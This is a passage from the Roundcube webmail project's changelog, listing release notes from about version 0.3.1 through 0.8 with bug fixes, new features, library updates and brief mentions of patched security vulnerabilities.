- Fix autoselect_host() for login (#3639)
- Changed license to GNU GPLv3+ with exceptions for skins & plugins
- Added address book widget on compose screen
- Use proper timezones from PHP's internal timezonedb (#1973)
- Add separate pagesize setting for mail messages and contacts (#3617)
- Deprecate $DB, $USER, $IMAP global variables, Use $RCMAIL instead
- Add option to set default font for HTML message (#894)
- Fix issues with big memory allocation of IMAP results
- Prevent from memory_limit exceeding when trying to parse big messages bodies (#3164)
- Add possibility to add SASL mechanisms for SMTP in smtp_connect hook (#3399)
- Mark (with different color) folders with recent messages (#2479)
- Added About tab in Settings
- TinyMCE updated to 3.4.6

## Release 0.7.2

- Fix encoding of attachment with comma in name (#3717)
- Fix handling of % character in IMAP protocol (#3711)
- Fix duplicate names handling in addressbook searches (#3704)
- Fix displaying of HTML messages from Disqus (#3702)
- Disable E_STRICT warnings on PHP 5.4
- Prevent from folder selection on virtual folder collapsing (#3681)
- Fix automatic unsubscribe of non-existent folders
- Fix double-quotes handling in recipient names
- User configurable setting how to display contact names in list
- Make contacts list sorting configurable for the admin/user
- Fix parse errors in DDL files for MS SQL Server
- Revert SORT=DISPLAY support, removed by mistake (#3664)
- Add lost translation label in de_DE (#3654)
- Fix drafts update issues when edited from preview pane (#3653)
- Fix wrong variable name in rcube_ldap.php (#3643)
- Make mime type detection based on filename extension to be case-insensitive
- Fix failure on MySQL database upgrade from 0.7 - text column can't have default value (#3642)


## Release 0.7.1

- Fix bug in handling of base href and inline content (#3634)
- Fix SQL Error when saving a contact with many email addresses (#3630)
- Fix strict email address searching if contact has more than one address
- Remove duplicated 'organization' label (#3631)
- Fix so editor selector is hidden when 'htmleditor' is listed in 'dont_override'
- Fix wrong (long) label usage (#3627)
- Fix handling of INBOX's subfolders in special folders config (#3623)
- Add ifModule statement for setting Options -Indexes in .htaccess file (#3620)
- Fix crashes with eAccelerator (#3608)
- Fix searching on IMAP servers without CHARSET specifier support (#3619)
- Fix expanding folders during drag&drop (#3611)
- Fix wrong postgres sequence name in upgrade from 0.6
- Fix broken CREATE INDEX queries in SQLite DDL files (#3607)

## Release 0.7

- Make Roundcube render the Email Standards Project Acid Test correctly
- Replace prompt() with jQuery UI dialog (#1603)
- Fix navigation in messages search results
- Improved handling of some malformed values encoded with quoted-printable (#3590)
- Add possibility to do LDAP bind before searching for bind DN
- Fix handling of empty `<U>` tags in HTML messages (#3584)
- Add content filter for embedded attachments to protect from XSS on IE [CVE-2012-1253] (#3372)
- Use strpos() instead of strstr() when possible (#3581)
- Fix handling HTML entities when converting HTML to text (#3582)
- Fix fit_string_to_size() renders browser and ui unresponsive (#3577)
- Fix handling of invalid characters in request (#3536)
- Fix merging some configuration options in update.sh script (#2181)
- Fix so TEXT key will remove all HEADER keys in IMAP SEARCH (#3578)
- Fix handling contact photo url with https:// prefix (#3575)
- Fix possible infinite redirect on attachment preview (#3572)
- Improved clickjacking protection for browsers which don't support X-Frame-Options headers
- Fixed bug where similar folder names were highlighted wrong (#3345)
- Fixed bug in handling link with '!' character in it (#3569)
- Fixed bug where session ID's length was limited to 40 characters (#3570)
- TinyMCE security issue: removed moxieplayer (embedding flv and mp4 is not supported anymore)

## Release 0.7-beta

- Fix handling of HTML form elements in messages (#1604)
- Fix regression in setting recipient to self when replying to a Sent message (#3101)
- Fix listing of folders in hidden namespaces (#2895)
- Don't consider \Noselect flag when building folders tree (#3448)
- Fix sorting autocomplete results (#3504)
- Add option to set session name (#2630)
- Add option to skip alternative email addresses in autocompletion
- Fix inconsistent behaviour of Compose button in Drafts folder, add Edit button for drafts
- Fix problem with parsing HTML message body with non-unicode characters (#3312)
- Add option to define matching method for addressbook search (#2720, #3378)
- Make email recipients separator configurable
- Fix so folders with \Noinferiors attribute aren't listed in parent selector
- Fix handling of curly brackets in URLs (#3555)
- Fix handling of dates (birthday/anniversary) in contact data (#3552)
- Fix error on opening searched LDAP contact (#3550)
- Fix redundant line break in flowed format (#3551)
- Fix IDN address validation issue (#3544)
- Fix JS error when dst_active checkbox doesn't exist (#3540)
- Autocomplete LDAP records when adding contacts from mail (#3498)
- Plugin API: added 'ready' hook (#3492)
- Ignore DSN request when it isn't supported by SMTP server (#3300)
- Make sure LDAP name fields aren't arrays (#3523)
- Fixed imap test to non-default port when using ssl (#3532)
- Force all files to be overwritten when updating (#3531)
- Fix issue where it wasn't possible to change list view mode in folder manager for INBOX (#3522)
- Fix namespace handling in special folders settings (#3527)
- Disable time limit for CLI scripts (#3524)
- Fix misleading display when changing editor type (#3519)
- Add loading indicator on contact delete
- Fix bug where after delete message rows can be added to the list of another folder (#3263)
- Add notice on autocompletion that not all records were displayed
- Add option 'searchonly' for LDAP address books
- Add Priority filter to the messages list
- Cache synchronization using QRESYNC/CONDSTORE
- Trigger 'new_messages' hook for all checked folders (#3503)
- Make date/time format user configurable; drop 'date_today' config option
- Fix setting title for truncated subject in IE (#3141)
- Fix displaying multipart/alternative messages with only one part (#3400)
- Rewritten messages caching:
  Indexes are stored in a separate table, so there's no need to store all messages in a folder
  Added threads data caching
  Flags are stored separately, so flag change doesn't cause DELETE+INSERT, just UPDATE
- Improved FETCH response handling
- Improvements in response tokenization method
- Use 'From' and 'To' labels instead of 'Sender' and 'Recipient'
- Fix username case-insensitivity issue in MySQL (#3462)
- Addressbook Saved Searches
- Added spellchecker exceptions dictionary (shared or per-user)
- Added possibility to ignore words containing caps, numbers, symbols (spellcheck_ignore_* options)
- Added 'priority' column on messages list (#2884)
- Localize forwarded message header (#3487)

## Release 0.6

- Fix bug where the last identity is used on reply (#3516)
- Fix locked folder rename option on servers supporting RFC2086 only (#3508)
- Fix session race conditions when composing new messages
- Fix encoding of LDAP contacts identifiers (#3501)
- jQuery 1.6.4
- Fix handling of binary attachments encoded with quoted-printable (#3494)
- Fix text-overflow:ellipsis issues on messages list in FF7 and Webkit (#3490)
- Fix handling of links with IP address
- Fix compacting folder resets message list filter (#3499)

## Release 0.6-rc

- Send X-Frame-Options headers to protect from clickjacking (#3079)
- Fallback to mail_domain in LDAP variable replacements; added 'host' to 'user_create' hook arguments (#3464)
- Fixed wrong vCard type parameter mobile (#3496)
- Fixed vCard WORKFAX issue (#3476)
- Add vCard's Profile URL support (#3491)
- jQuery 1.6.3
- Fix imap_cache setting to values other than 'db' (#3489)
- Fix handling of attachments inside message/rfc822 parts (#3466)
- Make list of mimetypes that open in preview window configurable (#3175)
- Added plugin hook 'message_part_get' for attachment downloads
- Added unique connection identifier to IMAP debug messages
- Fix image type check for contact photo uploads

## Release 0.6-beta

- Fixed selecting identity on reply/forward (#3434)
- Add option to hide selected LDAP addressbook on the list
- Add client-side checking of uploaded files size
- Add newlines between organization, department, jobtitle (#3468)
- Recalculate date when replying to a message and localize the cite header (#3212)
- Fix handling of email addresses with quoted local part (#3401)
- Fix EOL character in vCard exports (#3357)
- Added optional "multithreading" autocomplete feature
- Plugin API: Added 'config_get' hook
- Fixed new_user_identity plugin to work with updated rcube_ldap class (#3443)
- Plugin API: added folder_delete and folder_rename hooks
- Added possibility to undo last contact delete operation
- Fix sorting of contact groups after group create (#3258)
- Add optional textual upload progress indicator (#2330)
- Fix parsing URLs containing commas (#3425)
- Added vertical splitter for books/groups list in addressbook (#3389)
- Improved namespace roots handling in folder manager
- Added searching in all addressbook sources
- Added addressbook source selection in contacts import
- Implement LDAPv3 Virtual List View (VLV) for paged results listing
- Use 'address_template' config option when adding a new address block (#3406)
- Added addressbook advanced search
- Add popup with basic fields selection for addressbook search
- Case-insensitive matching in autocompletion (#3398)
- Added option to force spellchecking before sending a message (#1862)
- Fix handling of "<" character in contact data, search fields and folder names (#3349)
- Fix saving "<" character in identity name and organization fields (#3349)
- Added option to specify to which address book add new contacts
- Added plugin hook for keep-alive requests
- Store user preferences in session when write-master is not available and session is stored in memcache, write them later
- Improve performance of folder manager operations
- Fix default_port option handling in Installer when config.inc.php file exists (#3390)
- Removed option focus_on_new_message, added newmail_notifier plugin
- Added general rcube_cache class with Memcache and APC support
- Improved caching performance by skipping writes of unchanged data
- Option enable_caching replaced by imap_cache and messages_cache options
- Fix WORKFAX saving in address book (#3380)
- Add forward-as-attachment feature
- jQuery-1.6.2 (#5158, #3154)
- Improve display name composition when saving contacts (#3153)
- Fix problems with subfolders of INBOX folder on some IMAP servers (#3247)
- Fix handling of folders that doesn't belong to any namespace (#3184)
- Enable multiselection for attachments uploading in capable browsers (#2266)
- Add possibility to change HTML editor configuration by skin
- Fix a bug where selecting too many contacts would produce too large URI request (#3369)
- Improve performance by including files with absolute path (#3337)
- Move folder name truncation to client/skin (#1822)
- Added plugin hook for request token creation
- Replace LDAP vars in group queries (#3329)
- Fix vcard folding with unicode characters (#3353)
- Keep all submitted data if contact form validation fails (#3350)
- Handle unicode strings in rcube_addressbook::normalize_string() (#3351)
- Fix handling of debug_level=4 in ajax requests (#3327)
- Enable TinyMCE's contextmenu (#3062)
- Allow multiple concurrent compose sessions
- New config option for custom logo
- Allow skins to define/override texts with `<roundcube:label />`
- Add simple ACL rights/namespace handling in folder manager
- Force IE to send referers (#3306)
- Better display of vcard import results (#1861)
- Improved vcard import
- Interactive update script with improved DB schema check
- Fix problem with contactgroupmembers table creation on MySQL 4.x, add index on contact_id column
- Add LDAP SASL bind and proxy authentication (#2810)
- Replying to a sent message puts the old recipient as the new recipient (#3101)
- Fulltext search over (almost) all data for contacts
- Extend address book with rich contact information

## Release 0.5.4

- Fix XSS vulnerability in UI messages [CVE-2011-2937] (#3469)

## Release 0.5.3

- Fix identities "reply-to" and "bcc" fields have a bogus value when left empty (#3405)
- Fix issue which cases IMAP disconnection when encrypt() method was used (#3374)
- Fix some CSS issues in Settings for Internet Explorer
- Fixed handling of folder with name "0" in folder selector
- Fix bug where messages were deleted instead moved to trash folder after Shift key was used (#3376)
- Fix relative URLs handling according to a `<base>` in HTML (#3368)
- Fix handling of top-level domains with more than 5 chars or unicode chars (#3366)
- Fix usage of non-standard HTTP error codes (#3297)
- Fix PHP warning on mistaken in_array() usage (#3375)

## Release 0.5.2

- TinyMCE 3.4.2 now compatible with IE9
- PEAR::Net_SMTP 1.5.2, fixed timeout issue (#3332)
- Fix bug where template name without plugin prefix was used in render_page hook
- Support 'abort' and 'result' response in 'preferences_save' hook, add error handling
- Fix bug where some content would cause hang on html2text conversion (#3348)
- Improve space-stuffing handling in format=flowed messages (#3346)
- Fix bug where some dates would produce SQL error in MySQL (#3342)
- Added workaround for some IMAP server with broken STATUS response (#3344)
- Fix bug where default_charset was not used for text messages (#3328)
- Stateless request tokens. No keep-alive necessary on login page (#3325)
- Force names of unique constraints in PostgreSQL DDL
- Add code for prevention from IMAP connection hangs when server closes socket unexpectedly
- Remove redundant DELETE query (for old session deletion) on login
- Get around unreliable rand() and mt_rand() in session ID generation (#2516)
- Fix some emails are not shown using Cyrus IMAP (#3316)
- Fix handling of mime-encoded words with non-integral number of octets in a word (#3301)
- Fix parsing links with non-printable characters inside (#3305)
- Fixed de_CH Localization bugs (#3279)
- Add variable for 'Today' label in date_today option (#2394)
- Fix dont_override setting does not override existing user preferences (#3205)
- Use only one from IMAP authentication methods to prevent login delays (1487784)
- Support strftime format in date_today option
- Fix SQL query in rcube_user::query() so it uses index on MySQL again
- Removed redundant `</form>` tags from contact add/edit pages
- Fix CSS error in contact details screen on IE7 (#3281)

## Release 0.5.1

- Fix handling of attachments with invalid content type (#3275)
- Add workaround for DBMail's bug http://www.dbmail.org/mantis/view.php?id=881 (#3274)
- Use IMAP's ID extension (RFC2971) to print more info into debug log
- Security: add optional referer check to prevent CSRF in GET requests
- Fix email_dns_check setting not used for identities/contacts (#3251)
- Fix ICANN example addresses doesn't validate (#3253)
- Security: protect login form submission from CSRF [CVE-2011-1491]
- Security: prevent from relaying malicious requests through modcss.inc [CVE-2011-1492]
- Fix handling of non-image attachments in multipart/related messages (#3261)
- Fix IDNA support when IDN/INTL modules are in use (#3253)
- Fix handling of invalid HTML comments in messages (#3269)
- Fix parsing FETCH response for very long headers (#3264)
- Fix add/remove columns in message list when message_sort_order isn't set (#3262)
- Check mime headers before attempt to parse them (#3256)
- Quote header values in show_additional_headers plugin (#3255)
- Fix settings UI on IE 6 (#3246)
- Remove double borders in folder listing (#3236)
- Separate full message headers UI element from headers table (#3238)
- Add part MIME ID to message_part_* hooks (#3241)
- Improve parsing of MS Outlook vCards (#3239)
- Updated PEAR::Net_Socket to 1.0.10
- Updated PEAR::Net_IDNA2 to 0.1.1
- Fix handling of comments inside an email address spec. (#3210)
- Show full mail subject as title when hovering a cut subject link (#3141)
- Fix randomly disappearing folders list in IE (#3231)
- Fix list column add/removal in IE (#3230)
- Fix login redirect issues (#3221)
- Require PHP 5.2.1 or greater
- Fix %h/%z variables in username_domain option (#3228)
- Workaround for setting charset in case of malformed bodystructure response (#3227)
- Fix impossible to subscribe to protected folders (#3199)
- Fix setting timezone in Preferences (#3232)

## Release 0.5

- Fix double-login/session issue (#3124)
- Wrap HTML parts with `<html><body>` and add Doctype declaration (#3119)
- Make rcube_autoload silently skip unknown classes (#3128)
- Fix charset detection in vcards with encoded values (#1934)
- Better CSS cursors for splitters (#2954)
- Show the same message only once (#3186)
- Fix namespaces handling (#3192)
- Add handling of multifolder METADATA/ANNOTATION responses
- Fix handling of INBOX when personal namespace prefix is non-empty (#3200)
- Fix handling square brackets in links (#3209)
- Add description of 'use_https' option in main.inc.php.dist file

## Release 0.5-RC

- Plugin API: Add 'pass' argument in 'authenticate' hook (#3147)
- Fix attachments of type message/rfc822 are not listed on attachments list
- Add 'login_lc' config option for case-insensitive authentication (#3131)
- Fix window is blur'ed in IE when selecting a message (#3161)
- Fix cursor position on compose form in Webkit browsers (#2796)
- Fix setting charset of attachment filenames (#3136)
- Allow setting autocomplete attribute for all inputs separately (#3158)
- New Folder Manager UI
- Fix invalid Request when creating a folder (#3165)
- Add folder size and quota indicator in folder manager (#2112)
- Add possibility to move a subfolder into root folder (#2890)
- Fix copying all messages in a folder copies only messages from current page
- Improve performance of moving or copying of all messages in a folder
- Fix plaintext versions of HTML messages don't contain placeholders for emotions (#1657)
- Improve performance of folder rename and delete actions
- Better support for READ-ONLY and NOPERM responses handling (#3108)
- Add confirmation message on purge/expunge command response
- Fix handling of untagged responses for AUTHENTICATE command (#3171)
- Add username and IP address to log message on unsuccessful login (#3176)
- Improved Mail-Followup-To and Mail-Reply-To headers handling
- Fix charset conversion for text attachments without charset specification (#3181)

## Release 0.5-BETA

- Make session data storage more robust against garbage session data (#3148)
- Config option for autocomplete on login screen
- Allow plugin templates to include local files (#3146)
- List groups in address detail view and allow to subscribe/unsubscribe from there (#2862)
- Messages caching: performance improvements, fixed syncing, fixes related with #2857
- Add link to identities in compose window (#2843)
- Add Internationalized Domain Name (IDNA) support (#729)
- Add option to automatically send read notifications for known senders (#2199)
- Add option to "Return receipt" will be always checked (#2571)
- Fix HTML to plain text conversion doesn't handle citation blocks (#2992)
- Use custom sorting when SORT is disabled by IMAP admin (#3020)
- Allow setting some washtml options from plugin (#2727)
- Add option do bind for an individual LDAP address book (#3048)
- Change reply prefix to display email address only if sender name doesn't exist (#2709)
- Plugin API: improved 'abort' flag handling, added 'result' item in some hooks (#2988)
- Fix mailto optional params in plain text messages aren't handled (#3071)
- Add Reply-to-List feature (#977)
- Add Mail-Followup-To/Mail-Reply-To support (#1937)
- Fix confirmation message isn't displayed after sending mail on Chrome (#2437)
- Fix keyboard doesn't work with autocomplete list with Chrome (#3073)
- Improve tabs to fixed width and add tabs in identities info (#3030)
- Add unique index on users.username+users.mail_host
- Make htmleditor option more consistent and add option to use HTML on reply to HTML message (#2164)
- Use empty envelope sender address for message disposition notifications (RFC 2298.3)
- Support SMTP Delivery Status Notifications - RFC 3461 (#2409)
- Use css sprite image for messages list
- Add (different) attachment icon for messages of type multipart/report (#2426)
- Prevent from inserting empty link when composing HTML message (#3007)
- Add caching support in id2uid and uid2id functions (#3065)
- Add SASL proxy authentication for SMTP (#2811)
- Improve displaying of UI messages (#3033)
- Fix double e-mail filed in identity form (#3088)
- Display IMAP errors for LIST/THREAD/SEARCH commands (#2981)
- Add LITERAL+ (IMAP4 non-synchronizing literals) support (RFC 2088)
- Add separate column for message status icon (#2788)
- Add ACL extension support into IMAP classes (RFC 4314)
- Add ANNOTATEMORE extension support into IMAP classes (draft-daboo-imap-annotatemore)
- Add METADATA extension support into IMAP classes (RFC 5464)
- Fix decoding of e-mail address strings in message headers (#3097)
- Fix handling of attachments when Content-Disposition is not inline nor attachment (#3086)
- Improve performance of unseen messages counting (#3090)
- Improve performance of messages counting using ESEARCH extension (RFC4731)
- Add LIST-STATUS support in rcube_imap_generic class (RFC 5819)
- Add SASL-IR support in IMAP (RFC 4959)
- Add LOGINDISABLED support (RFC 2595)
- Add support for AUTH=PLAIN in IMAP authentication
- Re-implemented SMTP proxy authentication support
- Add support for IMAP proxy authentication (#2808)
- Add support for AUTH=DIGEST-MD5 in IMAP (RFC 2831)
- Fix parent folder with unread subfolder not bold when message is open (#3104)
- Add basic IMAP LIST's \Noselect option support
- Add support for selection options from LIST-EXTENDED extension (RFC 5258)
- Don't list subscribed but non-existent folders (#2474)
- Fix handling of URLs with tilde (~) or semicolon (;) character (#3110, #3111)
- Plugin API: added 'contact_form' hook
- Add SORT=DISPLAY support (RFC 5957)
- Plugin API: add possibility to disable plugin in AJAX mode, 'noajax' property
- Plugin API: add possibility to disable plugin in framed mode, 'noframe' property
- Improve performance of setting IMAP flags using .SILENT suffix
- Improve performance of message cache status checking with skip_disabled=true
- Support contact's email addresses up to 255 characters long (#3116)
- Add option to place replies in the folder of the message being replied to (#2248)
- Add missing confirmation/error messages on contact/group/message actions (#2935)
- Add 'loading' message on message move/copy/delete/mark actions
- Improve responsiveness of messages displaying (#3039)
- Add option for minimum length of autocomplete's string (#2625)
- Fix operations on messages in unsubscribed folder (#3126)
- Add support for shared folders (#525)
- Fix handling of folders with name "0" (#3133)
- Fix handling of folders with `<>` characters in name
- jQuery 1.4.4
- Fix handling of HTML entity strings in plain text messages
- Fix focused elements aren't unfocused when clicking on the list (#3137)
- Fix error in MSSQL DDL scripts (#3130)
- Lock submit button in onsubmit event on login page (#3078)
- Don't set attachment's charset in Content-type header (#3136)
- Fix handling of message bodies (quoted-printable encoded) with NULL characters (#2448)
- Add workaround for MSOE's multipart/related messages with non-related attachments

## Release 0.4.2

- Fix handling of backslash as IMAP delimiter
- Fix charset replacement in HTML message bodies (#3067)
- Fix: contact group input is empty when using rename action more than once on the same group record
- Fix "Server Error! (Not Found)" when using utils/save-pref action (#3069)
- Fix handling of Thunderbird's vCards (#3070)

## Release 0.4.1

- Fix space-stuffing in format=flowed messages (#3064)
- Fix msgexport.sh now using the new imap wrapper
- Avoid displaying password on shell (#3010)
- Only lower-case user name if first login attempt failed (#2600)
- Make alias setting in squirrelmail_usercopy plugin configurable (patch by pommi, #3056)
- Prevent from saving a non-existing skin path in user prefs (#3004)
- Improve handling of single-part messages with bogus BODYSTRUCTURE (#2976)
- Fix path to SQL files when using pgsql/mysqli/sqlsrv drivers (#2979)
- Fix upgrade script for SQLite (#2980)
- Fixes in SQL init script + added update script for MSSQL database
- Remove redundant date in syslog messages (#3008)
- Fix contacts list page controls when a group is selected (#3009)
- Fix SMTP test in Installer (#3014)
- Fix "Select all" causes message to be opened in folder with exactly one message (#2987)
- Fix Tab key doesn't work in HTML editor in Google Chrome (#2995)
- Fix TinyMCE uses zh_CN when zh_TW locale is set (#2998)
- Fix TinyMCE buttons are hidden in Opera (#2993)
- Fix JS error on IE when trying to send HTML message with enabled spellchecker (#3006)
- Display inline images with known extensions and non-image content-type (#3002)
- Fix "Threaded" checkbox after subfolder creation (#2997)
- Fix timezone string in sent mail (#3021)
- Show disabled checkboxes for protected folders instead of dots (#1898)
- Added fieldsets in Identity form, added 'identity_form' hook
- Re-added 'Close' button in upload form (#2999, #2917)
- Fix handling of charsets with LATIN-* label
- Fix messages background image handling in some cases (#3043)
- Fix format=flowed handling (#3042)
- Fix when IMAP connection fails in 'get' action session shouldn't be destroyed (#3046)
- Fix list_cols is not updated after column dragging (#3050)
- Support %z variable in host configuration options (#3054)

## Release 0.4

- Fix disappearing upload form disappears when user selects a file on Safari (#2917)
- Don't replace error messages with loading info (#2534)
- Fix JS errors on compose mode switch (#2952)
- Fix message structure parsing when it lacks optional fields (#2960)
- Include all recipients in sendmail log
- Support HTTP_X_FORWARDED_PROTO header for HTTPS detecting (#2950)
- Fix default IMAP port configuration (#2948)
- Create Sent folder when starting to compose a new message (#2900)
- Fix handling of messages with Content-Type: application/* and no filename (#840)
- Improved compose screen: resizable body and attachments list, vertical splitter, options menu
- Fix RC forgets search results (#722)
- TinyMCE 3.3.7
- Improve parsing of styled empty tags in HTML messages (#2908)
- Add %dc variable support in base_dn/bind_dn config (#2881)
- Add button to hide/unhide the preview pane (#955)
- Fix no-cache headers on https to prevent content caching by proxies (#2897)
- Fix attachment filenames broken with TNEF decoder using long filenames (#2894)
- Use user's timezone in Date header, not server's timezone (#2393)
- Add option to set separate footer for HTML messages (#2784)
- Add real SMTP error description to displayed error messages (#2233)
- Fix some IMAP errors handling when opening the message (#1848)
- Fix related parts aren't displayed when got mimetype other than image/* (#2629)
- Multiple identity and database support for squirrelmail_usercopy plugin (#2686)
- Support dynamic hostname (%d/%n) variables in configuration options (#1843)
- Add 'messages_list' hook (#2504)
- Add request* event triggers in http_post/http_request (#2340)
- Fix use RFC-compliant line-delimiter when saving messages on IMAP (#2828)
- Add 'imap_timeout' option (#2869)
- Fix forwarding of messages with winmail attachments
- Fix handling of uuencoded attachments in message body (#2163)
- Added list_mailboxes hook in rcube_imap::list_unsubscribed() (#2791)
- Fix wrong message on file upload error (#2839)
- Add support for data URI scheme [RFC2397] (#2851)
- Added 'actionbefore', 'actionafter', 'responsebefore', 'responseafter' events
- Fix double-addition of e-mail domain to content ID in HTML images
- Read and send messages with format=flowed (#1052), fixes word wrapping issues (#2703)
- Fix duplicated attachments when forwarding a message (#2670)
- Fix message/rfc822 attachments containing only attachments are not parsed properly (#2854)
- Fix %00 character in winmail.dat attachments names (#2850)
- Fix handling errors of folder deletion (#2821)
- Parse untagged CAPABILITY response for LOGIN command (#2853)
- Renamed all php-cli scripts to use .sh extension
- Some files from /bin + spellchecking actions moved to the new 'utils' task
- Added thread tree icons
- Extend contact groups support (#2802)
- Fix check-recent action issues and performance (#2690)
- Fix messages order after checking for recent (#1249)
- Fix autocomplete shows entries without email (#2640)
- Fix listupdate event doesn't trigger on search response (#2824)
- Fix select_all_mode value after selecting a message (#2834)
- Set focus to editor on reply in HTML mode (#2768)
- Fix composing in HTML jumps cursor to body instead of recipients (#2796)
- Allow columns order change per user - drag&drop (#2124)
- Add References header in read receipt (#2801)
- Fix database constraint violation when opening a message (#2814)
- Add 'loading' message while login is in progress (#2790)
- Fix quota_zero_as_unlimited (#2786)
- Fix folder subscription checking (#2804)
- Fix INBOX appears (sometimes) twice in mailbox list (#2794)
- Fix listing of attachments of some types e.g. "x-epoc/x-sisx-app" (#2779)
- Fix DB Schema checking when some db_table_* options are not set (#2780)

## Release 0.4-beta

- Add sizelimit and timelimit variables in LDAP config (#2704)
- Hide IMAP host dropdown when single host is defined (#2553)
- Add images pre-loading on login page (#623)
- Add HTTP_X_REAL_IP and HTTP_X_FORWARDED_FOR to successful logins log (#2634)
- Fix setting spellcheck languages with extended codes (#2747)
- Fix messages list scrolling in FF3.6 (#2657)
- Fix quicksearch input focus (#2770)
- Always set changed date when flagging a DB record as deleted + provide a cleanup script
- Fix address book/group selection (#2760)
- Assign newly created contacts to the active group (#2764)
- Added option not to mark messages as read when viewed in preview pane (#1513)
- Allow plugins modify the Sent folder when composing (#2708)
- Added optional (max_recipients) support to restrict total number of recipients per message (#1167)
- Re-organize editor buttons, add blockquote and search buttons
- Make possible to write inside or after a quoted html message (#1878)
- Fix bugs on unexpected IMAP connection close (#2449, #2507)
- Iloha's imap.inc rewritten into rcube_imap_generic class
- Added contact groups in address book (not finished yet)
- Added PageUp/PageDown/Home/End keys support on lists (#2627)
- Added possibility to select all messages in a folder (#1312)
- Added 'imap_force_caps' option for after-login CAPABILITY checking (#2087)
- Password: Support dovecotpw encryption
- TinyMCE 3.3.1
- Implemented messages copying using drag&drop + SHIFT (#863)
- Improved performance of folders operations (#2689)
- Fix blocked.gif attachment is not attached to the message (#2685)
- Managesieve: import from Horde-INGO
- Managesieve: support for more than one match (#2362)
- Managesieve: support for selectively disabling rules within a single sieve script (#2198)
- Threaded message listing now available
- Added sorting by ARRIVAL and CC
- Message list columns configurable by the user
- Removed 'index_sort' option, now we're using empty 'message_sort_col' for this
- virtuser_query: support other identity data (#2413)
- Options virtuser_* replaced with virtuser_* plugins
- Plugin API: Implemented 'email2user' and 'user2email' hooks
- Fix forwarding message omits CC header (#2538)
- Add 'default_charset' option to user preferences (#1855)
- Add 'delete_always' option to user preferences
- Support/Require tls:// prefix in 'smtp_server' option for TLS connections
- Fix inconsistent behaviour of 'delete_always' option (#2533)
- Fix deleting all messages from last list page (#2528)
- Flag original messages when sending a draft (#2458)
- Changed signature separator when top-posting (#2555)
- Let the admin define defaults for search modifiers (#2211)
- Fix long e-mail addresses validation (#2641)
- Remember search modifiers in user prefs (#2411)
- Added force_7bit option to force MIME encoding of plain/text messages (#2679)
- Use case sensitive check when checking for default folders (#2567)
- Fix checking for new mail: now checks unseen count of inbox (#2123)
- Improve performance by avoiding unnecessary updates to the session table (#2552)
- Fix invalid `<font>` tags which cause HTML message rendering problems (#2687)
- Fix CVE-2010-0464: Disable DNS prefetching (#2639)
- Fix Received headers to behave better with SpamAssassin (#2682)
- Password: Make passwords encoding consistent with core, add 'password_charset' global option (#2658)
- Fix adding contacts SQL error on mysql (#2645)
- Squirrelmail_usercopy: support reply-to field (#2678)
- Fix IE spellcheck suggestion popup issue (#2656)
- Fix email address auto-completion shows regexp pattern (#2498)
- Fix merging of configuration parameters: user prefs always survive (#2584)
- Fix quota indicator value after folder purge/expunge (#2671)
- Fix external mailto links support for use as protocol handler (#2328)
- Fix attachment excessive memory use, support messages of any size (#1245)
- Fix setting task name according to auth state
- Password: fix vpopmaild driver (#2662)
- Add workaround for MySQL bug [http://bugs.mysql.com/bug.php?id=46293] (#2659)
- Fix quoted text wrapping when replying to an HTML email in plain text (#897)
- Fix handling of extended mailto links (with params) (#2573)
- Fix sorting by date of messages without date header on servers without SORT (#2521)
- Fix inconsistency when not using default table names (#2652)
- Fix folder rename/delete buttons do not appear on creation of first folder (#2653)
- Fix character set conversion fails on systems where iconv doesn't accept //IGNORE (#2590)
- Log in performance: Create default folders on first login only
- Import contacts into the selected address book (by Phil Weir)
- Add support for MDB2's 'sqlsrv' driver (#2602)
- Use jQuery-1.4
- Removed problematic browser-caching of messages
- Fix incompatibility with suhosin.executor.disable_emodifier (#2549)
- Use PLAIN auth when CRAM fails and imap_auth_type='check' (#2587)
- Fix removal of `<title>` tag from HTML messages (#2629)
- Fix 'force_https' to specified port when URL contains a port number (#2612)
- Fix to-text converting of HTML entities inside b/strong/th/hX tags (#2621)
- Bug in spellchecker suggestions when server charset != UTF8 (#2607)
- Managesieve: Fix requires generation for multiple actions (#2603)
- Fix LDAP problem with special characters in RDN (#2548)
- Improved handling of message parts of type message/rfc822
- Plugin API: added 'quota' hook
- Fix parsing conditional comments in HTML messages (#2569)
- Use built-in json_encode() for proper JSON format in AJAX replies
- Allow setting only selected params in 'message_compose' hook (#2543)
- Plugin API: added 'message_compose_body' hook (#2520)
- Fix counters of all folders are checked in 'getunread' action  with check_all_folders disabled (#2399)
- Fix displaying alternative parts in messages of type message/rfc822 (#2488)
- Fix possible messages exposure when using Roundcube behind a proxy (#2516)
- Fix unicode para and line separators in javascript response (#2542)
- Additional_message_headers: allow unsetting headers, support plugin's config file (#2505)
- Fix displaying of hidden directories in skins list (#2535)
- Fix open_basedir restriction error when reading skins list (#2537)
- Fix pasting from Office apps into html editor (#2508)
- Fix empty `<a>` tags parsing (#2509)
- Don't cut off attachment names when using non-RFC2231 encoding (#1912)
- Allow inserting signatures above replied message body (#991)
- Managesieve 2.0: multi-script support
- Fix imap_auth_type regression (#2502)

## Release 0.3.1

- Specify toolbar container in compose template (#2489)
- Fix $_SERVER['HTTPS'] check for SSL forcing on IIS (#2486)
- Avoid unnecessary page loads for selected tab (#2324)
- Fix quota indicator issues by content generation on client-size (#2454, #2470)
- Don't display disabled sections in Settings (#2380)
- Added server-side e-mail address validation with 'email_dns_check' option (#2175)
- Fix login page loading into an iframe when session expires (#2253)
- Allow setting port number in 'force_https' option (#2373)
- Option 'force_https' replaced by 'force_https' plugin
- Fix IE issue with non-UTF-8 characters in AJAX response (#2422)
- Partially fixed "empty body" issue by showing raw body of malformed message (#2427)
- Fix importing/sending to email address with whitespace (#2467)
- Added XIMSS (CommuniGate) driver for Password plugin
- Fix newly attached files are not saved in drafts w/o editing any text (#2457)
- Added attachment upload indicator with parallel upload (#2344)
- Use default_charset for bodies of messages without charset definition (#2446)
- Password: added cPanel driver
- Fix return to first page from e-mail screen (#2385)
- Fix handling HTML comments in HTML messages (#2448)
- Fix folder/messagelist controls alignment - icons used (#2356)
- Fix LDAP addressbook shows 'Contact not found' error sometimes (#2438)
- Fix cache status checking + improve cache operations performance (#2384)
- Prevent from setting INBOX as any of special folders (#2390)
- Fix regular expression for e-mail address (#2417)
- Fix Received header format
- Implemented sorting by message index - added 'index_sort' option (#2240)
- Fix dl() use in installer (#2415)
- Added 'ldap_debug' option
- Fix "Empty startup greeting" bug (#2369)
- Fix setting user name in 'new_user_identity' plugin (#2405)
- Fix incorrect count of new messages in folder list when using multiple IMAP clients (#2289)
- Fix all folders checking for new messages with disabled caching (#2399)
- Support skins in 'archive' and 'markasjunk' plugins
